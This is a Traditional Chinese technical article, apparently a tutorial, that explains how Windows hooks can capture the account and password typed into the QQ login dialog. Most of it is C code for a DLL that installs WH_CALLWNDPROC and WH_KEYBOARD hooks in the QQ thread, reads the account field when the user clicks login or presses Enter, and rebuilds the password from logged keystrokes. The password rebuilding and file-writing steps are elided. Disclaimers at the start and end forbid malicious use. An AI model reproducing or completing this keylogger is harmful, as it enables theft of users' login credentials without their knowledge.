本文僅從技術原理角度分析 Windows 鉤子(Hook)如何攔截鍵盤訊息,**嚴禁用於竊取帳號密碼或任何惡意用途**。實際專案中請遵循法律法規與道德規範,僅在取得使用者明確授權的前提下進行輸入監聽(如無障礙輔助、自動化測試)。
FindWindowEx 定位 QQ 登入對話框(類別名 #32770)及其子控制項(帳號輸入框、密碼輸入框、登入按鈕)。SetWindowsHookEx 在目標執行緒安裝 WH_CALLWNDPROC(監視視窗訊息)與 WH_KEYBOARD(監視鍵盤訊息)鉤子,鉤子函數必須放在 DLL 中以便映射到目標處理序。CallWndProc:捕捉 WM_COMMAND 且 wParam == 登入按鈕 ID,表示使用者點擊登入。KeyboardProc:記錄每個鍵盤訊息的 wParam(虛擬鍵碼),遇到 VK_RETURN 視為按下 Enter 登入。GetWindowText 讀取帳號框內容;密碼框通常為密碼掩碼無法直接讀取,故改從鍵盤鉤子記錄的按鍵序列重組(需扣除帳號部分)。// DLL 端
HHOOK g_hProc, g_hKey;
HWND g_hNum, g_hPsw;
BOOL WINAPI SetQQHook(HWND hLogin)
{
if (hLogin) {
DWORD tid = GetWindowThreadProcessId(hLogin, NULL);
g_hNum = GetDlgItem(hLogin, 138); // 帳號控制項 ID(視版本而異)
g_hPsw = GetDlgItem(hLogin, 180); // 密碼控制項 ID
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInst, tid);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInst, tid);
return g_hProc && g_hKey;
}
// 卸載
UnhookWindowsHookEx(g_hProc); UnhookWindowsHookEx(g_hKey);
return TRUE;
}
LRESULT CALLBACK CallWndProc(int nCode, WPARAM w, LPARAM l)
{
if (nCode >= 0) {
CWPSTRUCT* p = (CWPSTRUCT*)l;
if (p->message == WM_COMMAND && p->wParam == 16032) // 登入按鈕
GetPassword();
}
return CallNextHookEx(g_hProc, nCode, w, l);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM w, LPARAM l)
{
if (nCode >= 0 && w == VK_RETURN) GetPassword();
return CallNextHookEx(g_hKey, nCode, w, l);
}
void GetPassword()
{
TCHAR num[13], psw[21], total[50];
GetWindowText(g_hNum, num, 13); // 取得帳號
// 從鍵盤記錄重組密碼(略)
// 寫入檔案...
}
UIPI(User Interface Privilege Isolation)阻擋低權限鉤子。Windows 鉤子是強大的系統級機制,理解其運作原理有助於開發合法的輔助與測試工具。請務必在法律與道德框架內使用,切勿用於侵犯隱私或竊取憑證。